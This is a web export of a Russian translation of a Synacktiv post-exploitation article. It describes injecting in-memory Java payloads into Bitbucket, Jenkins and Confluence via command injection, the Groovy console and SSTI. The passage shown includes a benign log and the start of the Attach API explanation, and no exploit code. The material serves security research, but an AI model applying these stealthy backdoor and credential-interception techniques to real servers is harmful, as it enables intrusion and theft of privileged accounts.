\u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0432\u0435\u0441\u044c\u043c\u0430 \u0446\u0435\u043d\u043d\u044b\u043c, \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0431\u043b\u0435\u0433\u0447\u0430\u044f \u0443\u0441\u0438\u043b\u0438\u044f \u043f\u043e \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u043e\u0432\u0435\u043d\u0438\u044e. \u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u0430\u0432\u0442\u043e\u0440\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439. \u0423\u0447\u0438\u0442\u044b\u0432\u0430\u044f, \u0447\u0442\u043e \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 Active Directory, \u0438\u0445 \u0437\u0430\u0445\u0432\u0430\u0442 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438.<\/p>\n<p>\u0414\u043b\u044f \u0441\u0438\u043d\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0442\u0430\u043a\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u0431\u044d\u043a\u0434\u043e\u0440\u0430 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443, \u0445\u043e\u0442\u044f \u044d\u0442\u043e \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0440\u0443\u0447\u043d\u043e\u0439 \u0438 \u0442\u0440\u0443\u0434\u043e\u0451\u043c\u043a\u0438\u0439. \u0422\u0430\u043a\u0438\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0436\u0435 \u0431\u044b\u043b\u0438 <a href=\"https:\/\/blog.cloudflare.com\/thanksgiving-2023-security-incident\/\" rel=\"noopener noreferrer nofollow\">\u0437\u0430\u043c\u0435\u0447\u0435\u043d\u044b <\/a>\u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445, \u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u043b\u0438 \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0431\u044d\u043a\u0434\u043e\u0440\u044b. \u042d\u0442\u0438 \u0432\u0438\u0434\u044b \u041f\u041e \u0447\u0430\u0441\u0442\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0446\u0435\u043b\u044c\u044e \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0445 \u0438\u0437-\u0437\u0430 \u043e\u0431\u0438\u043b\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438.<\/p>\n<h2>\u041e\u0442 \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0447\u0438\u043a\u0430<\/h2>\n<p>\u0421\u0442\u0430\u0442\u044c\u044f \u043f\u0435\u0440\u0435\u0432\u0435\u0434\u0435\u043d\u0430 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u043f\u043e\u0440\u044b\u0432\u043e\u0432 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0442\u0435\u043c\u0435. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u043a\u043e\u043c\u0443-\u0442\u043e \u044d\u0442\u043e \u0442\u043e\u0436\u0435 \u043f\u043e\u043c\u043e\u0436\u0435\u0442.<\/p>\n<p>\u041e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 &#8212; https:\/\/www.synacktiv.com\/publications\/injecting-java-in-memory-payloads-for-post-exploitation<\/p>\n<p>\u0410\u0432\u0442\u043e\u0440\u044b \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438 &#8212; Cl\u00e9ment Amic,\u00a0Hugo Vincent  <\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/833262\/\"> https:\/\/habr.com\/ru\/articles\/833262\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<p>\u0412 \u043c\u0430\u0440\u0442\u0435 <a href=\"https:\/\/www.synacktiv.com\/index\" rel=\"noopener noreferrer nofollow\">Synacktiv <\/a>\u043e\u043f\u0438\u0441\u0430\u043b\u0438 <a href=\"https:\/\/www.synacktiv.com\/publications\/java-deserialization-tricks\" rel=\"noopener noreferrer nofollow\">\u0441\u043f\u043e\u0441\u043e\u0431\u044b <\/a>\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043d\u044b\u0445 \u043d\u0430 Java. \u041f\u043e\u0437\u0436\u0435, \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u043a\u0440\u0430\u0441\u043d\u044b\u0445 \u0430\u0432\u0442\u043e\u0440\u0430 \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0430\u0441\u044c \u0441 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u043c\u0438, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0449\u0438\u0435 \u043a \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0410 \u0443\u0436\u0435 \u0432 \u044d\u0442\u043e\u0439 <a href=\"https:\/\/www.synacktiv.com\/publications\/injecting-java-in-memory-payloads-for-post-exploitation\" rel=\"noopener noreferrer nofollow\">\u0441\u0442\u0430\u0442\u044c\u0435 <\/a>\u0430\u0432\u0442\u043e\u0440 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u0438\u0435\u043c\u043e\u0432, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<p>\u041d\u0443 \u0430 \u043c\u044b, \u0430\u0432\u0442\u043e\u0440\u044b telegram-\u043a\u0430\u043d\u0430\u043b\u0430 <a href=\"https:\/\/t.me\/authoritywear\" rel=\"noopener noreferrer nofollow\">AUTHORITY<\/a>, \u043f\u0435\u0440\u0435\u0432\u0435\u043b\u0438 \u044d\u0442\u0443 \u0441\u0442\u0430\u0442\u044c\u044e \u043d\u0430 \u0440\u0443\u0441\u0441\u043a\u0438\u0439.<\/p>\n<h2>\u0412\u0432\u0435\u0434\u0435\u043d\u0438\u0435<\/h2>\n<p>\u041b\u043e\u0433\u0438\u043a\u0430, \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u0430\u044f \u0432 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u043c <a href=\"https:\/\/www.synacktiv.com\/publications\/java-deserialization-tricks\" rel=\"noopener noreferrer nofollow\">\u043f\u043e\u0441\u0442\u0435 <\/a>\u0430\u0432\u0442\u043e\u0440\u0430, \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0430\u0434\u0430\u043f\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0442\u0438\u043f\u0430 SSTI, Command injection \u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432\u044b\u0445 \u0434\u0432\u0438\u0436\u043a\u043e\u0432.<\/p>\n<p>\u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u043e\u0432\u0435\u0442\u044b \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0434\u043b\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u043e\u0441\u0442\u0430\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0432\u0438\u0434\u0438\u043c\u044b\u043c \u043f\u0440\u0438 \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0410\u0432\u0442\u043e\u0440 \u0441\u043e\u0441\u0440\u0435\u0434\u043e\u0442\u043e\u0447\u0438\u043b\u0441\u044f \u043d\u0430 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445 \u0438 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b:<\/p>\n<ul>\n<li>\n<p>BitBucket Data Center (Command Injection)<\/p>\n<\/li>\n<li>\n<p>Jenkins (\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f Groovy console)<\/p>\n<\/li>\n<li>\n<p>Confluence Data Center (SSTI)<\/p>\n<\/li>\n<\/ul>\n<h2>\u0417\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e command injection<\/h2>\n<p>\u0412 2022 \u0433\u043e\u0434\u0443 \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-36804, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f \u0446\u0435\u043d\u0442\u0440 Bitbucket Data Center. \u042d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c, \u0432\u0432\u043e\u0434\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u044b \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 git \u043f\u0440\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u0432 \u0430\u0440\u0445\u0438\u0432. \u0415\u0441\u043b\u0438 \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u043e\u0433\u043e \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0431\u0435\u0437 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.<\/p>\n<p>\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d Bitbucket Data Center, \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0438\u0432\u043e\u0442\u0438\u043d\u0433\u0430 \u0432 \u0441\u0435\u0442\u0438. \u041e\u0434\u043d\u0430\u043a\u043e, \u0435\u0441\u043b\u0438 \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430\u043c\u0438, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u043d\u044b\u0435 \u0432 \u043d\u0435\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u044b. \u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u0435\u0441\u043b\u0438 \u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0438\u0439 \u0442\u0440\u0430\u0444\u0438\u043a \u0444\u0438\u043b\u044c\u0442\u0440\u0443\u0435\u0442\u0441\u044f \u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u043a\u0441\u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/p>\n<p>\u0421\u0430\u043c\u044b\u0439 \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431 \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0435\u0433\u043e \u2014 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0441 \u0435\u0433\u043e \u0441\u0440\u0435\u0434\u043e\u0439 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u0434 Java. Bitbucket \u043f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<ul>\n<li>\n<p>Embedded Tomcat \u0434\u043b\u044f \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440\u0430.<\/p>\n<\/li>\n<li>\n<p>\u0424\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a Spring.<\/p>\n<\/li>\n<\/ul>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0432\u0435\u0442\u044b \u043f\u043e \u043f\u043e\u0441\u0442-\u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0431\u044b\u043b\u0438 \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u043d\u0430 Bitbucket Datacenter 7, \u043d\u043e \u0442\u0443 \u0436\u0435 \u043c\u0435\u0442\u043e\u0434\u043e\u043b\u043e\u0433\u0438\u044e \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0438 \u0434\u043b\u044f \u0434\u0440\u0443\u0433\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0438\u043b\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439.<\/p>\n<pre><code>INFO  [main]  c.a.b.i.b.BitbucketServerApplication Starting BitbucketServerApplication v7.21.0 using Java 11.0.20.1 on b3cb508081b3 with PID 208 (\/opt\/atlassian\/bitbucket\/app\/WEB-INF\/classes started by bitbucket in \/var\/atlassian\/application-data\/bitbucket) INFO  [main]  c.a.b.i.b.BitbucketServerApplication No active profile set, falling back to default profiles: default INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger Starting Bitbucket 7.21.0 (6dea001 built on Tue Mar 01 21:46:46 UTC 2022) INFO  [main]  c.a.b.i.boot.log.BuildInfoLogger JVM: Eclipse Adoptium OpenJDK 64-Bit Server VM 11.0.20.1+1 INFO  [main]  c.a.b.i.b.BitbucketServerApplication Started BitbucketServerApplication in 2.522 seconds (JVM running for 3.135) INFO  [spring-startup]  c.a.s.internal.home.HomeLockAcquirer Successfully acquired lock on home directory \/var\/atlassian\/application-data\/bitbucket [...]<\/code><\/pre>\n<p><strong>\u0412\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c<\/strong><\/p>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u0438 \u043c\u043e\u0434\u0443\u043b\u044f <a href=\"https:\/\/docs.oracle.com\/javase%2F9%2Fdocs%2Fapi%2F%2F\/java\/lang\/instrument\/package-summary.html\" rel=\"noopener noreferrer nofollow\">java.instrument<\/a> JVM \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u043e\u0442\u043b\u0430\u0434\u043a\u0438 \u0438\u043b\u0438 \u043f\u0440\u043e\u0444\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430 JAR \u0432\u043d\u0443\u0442\u0440\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 Java. <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/11\/docs\/api\/jdk.attach\/com\/sun\/tools\/attach\/package-summary.html\" rel=\"noopener noreferrer nofollow\">Attach API<\/a> \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u043e\u0434\u0446\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u043a \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0443, \u0435\u0441\u043b\u0438 \u043e\u043d \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u043e\u0442 \u0442\u043e\u0433\u043e \u0436\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u041e\u0421. \u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0438 \u0440\u0438\u0441\u043a\u0438 Attach API \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0432 <a href=\"https:\/\/blog.frankel.ch\/jvm-security\/4\/\" rel=\"noopener noreferrer nofollow\">\u044d\u0442\u043e\u0439 <\/a>\u0441\u0442\u0430\u0442\u044c\u0435. \u0412 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0430\u0445 Bitbucket \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043e\u0431\u0440\u0430\u0437\u0430 Docker \u0442\u0430\u043a\u0438\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u044e\u0442\u0441\u044f.<\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c JVM \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u0430, \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0441\u043e\u0437\u0434\u0430\u0442\u044c JAR-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434. \u042d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 